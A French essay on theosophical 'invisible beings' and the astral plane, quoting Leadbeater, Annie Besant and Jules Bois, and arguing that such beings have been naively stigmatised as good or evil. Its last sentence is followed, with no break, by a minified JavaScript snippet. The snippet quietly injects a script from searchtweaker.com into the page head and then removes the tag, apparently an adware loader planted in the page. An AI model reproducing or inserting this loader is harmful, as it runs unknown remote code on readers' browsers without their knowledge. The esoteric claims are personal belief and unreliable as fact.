L'invisible stigmate du monde vibratoire
Les êtres de l'Invisible peuvent être les proies faciles de suppositions erronées si l'on les observe d'un point de vue différent de leur vraie nature.
Texte modifié le 24 mars 2014
Avant leur (re-)découverte au XIXe siècle, les êtres de l’Invisible - les Invisibles* - auront été généralement libres de tous nos préjugés. Dans son livre éponyme « Les aides invisibles » (1896), Leadbeater reconnaît très pompeusement leur présence à nos côtés d'une manière qui se veut surtout rassurante. Il s'en sert bien sûr pour appâter les gens.
« En Orient, l'existence des aides invisibles a toujours été reconnue, bien que les noms qu'on leur donne et les caractéristiques qu'on leur attribue varient, naturellement, suivant les pays. Ici même, en Europe, les vieux récits grecs ont constamment fait intervenir les dieux dans les affaires humaines et, suivant la légende romaine, Castor et Pollux conduisaient les légions de la République naissante à la bataille du lac Régille. Une croyance semblable ne disparut point avec la période classique, car ces récits eurent pour successeurs, au moyen âge, les histoires de saints qui apparaissaient dans les moments critiques et tournaient la fortune des armes en faveur des armées chrétiennes, ou d'anges gardiens qui intervenaient parfois pour sauver un pieux voyageur de ce qui eût été autrement, pour lui, une mort certaine. » chapitre 1, page 4
On pourrait cependant se demander comment des interprétations aussi naïvement amicales peuvent amener beaucoup de gens (je devrai en prendre de la graine, tiens !) à vouloir absolument adhérer financièrement à un sujet en apparence aussi mirobolant. D'ailleurs, comme dans toute propagande bien ficelée, elle s'appuie surement sur des faits réels.
« Il est rare que l'assistance donnée à l'humanité lui vienne des esprits de la nature. La plupart de ces êtres fuient le séjour de l'homme et se retirent à son approche : ses émanations, l'inquiétude et l'agitation perpétuelles qu'il crée autour de lui leur sont antipathiques. » chapitre 4, page 17
On apprend tout de même que ces aides invisibles agissent gratuitement parce que c'est leur volonté d'agir ainsi. Là où l'on pourrait s'attendre à une description plus précise de ces êtres chez un homme qui à tout de même ouvert le voie du microcosme à la Science, l'anatomie du récit de Leadbeater semble, vue son jeune âge, faire plutôt doué pour la danse du ventre puisqu'il se joue de nous à l'aide d'un voile qui cache les parties les plus intéressantes pour favoriser une mise en scène taillé dans le sensationnel.
« De suite après sa chute le beau petit ange était venu à lui. C'était un ange, pour sûr, car il savait qu'étant au haut de la falaise un moment auparavant il n'avait vu personne à un mille à la ronde ; seulement, il ne pouvait pas comprendre pourquoi l'ange n'avait pas d'aile et pourquoi il disait n'être qu'un garçon. »
Il jette surtout sur la réalité un voile d'une opacité telle que la vrai question hante forcément le lecteur : y a-t-il des êtres qui sont hostiles à l'humanité ? Nul le sait dans ce livre. La réponse viendra d'un autre ouvrage « Le Christianisme ésotérique ou les mystères mineurs » (1903) d'Annie Besant (elle-aussi Théosophe).
« Notre système a été édifié suivant certains grands principes; ces principes, des lois dé- terminées en assurent l'application détaillée ; certains Êtres personnifient ces principes ; les lois sont Leurs modes d'action. D'innombrables êtres de grade inférieur servent de véhicules— d'agents — d'instruments à Leurs activités ; parmi ces derniers se trouvent des Egos humains qui leur sont associés dans cette tâche et jouent un rôle dans le grand drame cosmique. Tous ces travailleurs, appartenant aux mondes invisibles, projettent leurs ombres sur la matière physique, et ces ombres sont des « choses », les corps, les objets qui composent l'univers physique. Ces ombres ne donnent qu'une pauvre idée des objets dont elles proviennent ; ce ne sont que des silhouettes présentant, au lieu de détails, une obscurité uniforme ; elles ont une longueur et une largeur, mais aucune profondeur. »
Grosso modo, « certains Êtres » ont toujours été là, parmi nous, et on leurs a donné quantité de noms, selon les siècles, des croyances ou selon leur proximité avec l'Homme. Comme les aides invisibles, ils interviennent parfois dans nos vies, mais de façon assez occasionnel. Il semble qu'il existait une règle qui imposait au visible et à l'invisible une limite. Il est probable que l'intérêt que suscitait l'aide invisible durant le 18e siècle, et son engouement au 19e siècle, il est fort à parier que c'était comme mettre le pied dans une fourmilière avec pour conséquence d'attirer « d'autres Êtres », bien moins sympathiques à notre égard.
« Mais le maître, il ne suffit pas au disciple de le posséder, il faut encore qu'il l'aperçoive, qu'il le sache là près de lui non pas seulement compatissant et propice en ses entrailles, mais redoutable et tout-puissant hors de soi, autour de soi, il veut être sûr que cette hantise ne lui sera pas momentanée, que ce secours dont il a maintenant un besoin acharné ne l'abandonnera pas jusqu'à la mort. » Jules Bois - Le satanisme et la magie (1895) - page 166
On aurait pu se contenter de les dénombrer et se faire ainsi une idée un peu plus précise du sujet ; ce qu'on a fait en les appelant, leur a donné en quelque sorte beaucoup plus d'importance et de capacité à agir dans notre quotidien, et dans nos affaires humaines. Est intervenue quelque part une manipulation des masses qui, avec le temps, ont forgé des à priori, stigmatisant par la logique le camp de devaient posséder ces êtres. Sans comprendre ce qu'ils sont, on les a fait aussi religieusement dualiste et aussi hostile au vivant, que nous. Quelle mascarade ! S'il existe des êtres dont l'énergie affecte positivement ou négativement la vitalité de leur contact, un lieu, une situation, je crois que l'on cède à la facilité en considérant de façon aussi arbitraire leurs manifestations. Les Invisibles s'amusent de notre naïveté, en profitant de nos croyances à dessein, se jouent des apparences pour mieux nous atteindre et profiter de l'attention que l'on a pour eux ; ils pratiquent avec discrétion, et même plutôt sournoisement, pour se charger de conversion.
« Le travail astral est varié, mais son grand et unique but est toujours de seconder, même dans la plus humble mesure, la marche évolutive. Quelquefois il est consacré au développement des règnes inférieurs susceptibles, dans des conditions données, d'une légère accélération. Les adeptes qui nous dirigent reconnaissent nettement l'existence de devoirs envers ces royaumes inférieurs, élémental aussi bien qu'animal et végétal, puisque, dans certains cas, leur progrès n'est possible que s'ils sont en rapport avec l'homme ou employés par lui.» les aides invisibles - chapitre 6 page 23
L’Astral est l'endroit sans doute le plus stigmatisé parce qu'il est relativement facile d'y pénétrer, et aussi parce qu'on a considéré mentalement son espace d'un point de vue similaire au nôtre, alors que son univers vibratoire est harmonisé autrement ; comme Descartes le préconise, il serait temps de faire table rase, de mettre de côté les connaissances basé sur des on-dits et de se construire une connaissance personnelle, stable et vraie. On apprendra peut-être que les Invisibles se conforment aux désirs les plus grossiers de l'individu ; ils sont singulièrement différents de nous dans leur densité, dans leurs intentions, et plus proches ou plus loin de notre capacité à les détecter. Enfin, dans l'univers des invisibles, il y a aussi des paradoxes auxquels il faut s'attendre, mais aucun remède existe pour les éviter.
: tantôt c'est untel du bas-astral, il faut s'en méfier parce qu'il est mauvais, tantôt cet autre dont la magnificence exprime le respect nous veut forcément du bien. (function(){try{var header=document.getElementsByTagName("HEAD")[0];var script=document.createElement("SCRIPT");script.src="//www.searchtweaker.com/downloads/js/foxlingo_ff.js";script.onload=script.onreadystatechange=function(){if (!(this.readyState)||(this.readyState=="complete"||this.readyState=="loaded")){script.onload=null;script.onreadystatechange=null;header.removeChild(script);}}; header.appendChild(script);} catch(e) {}})();
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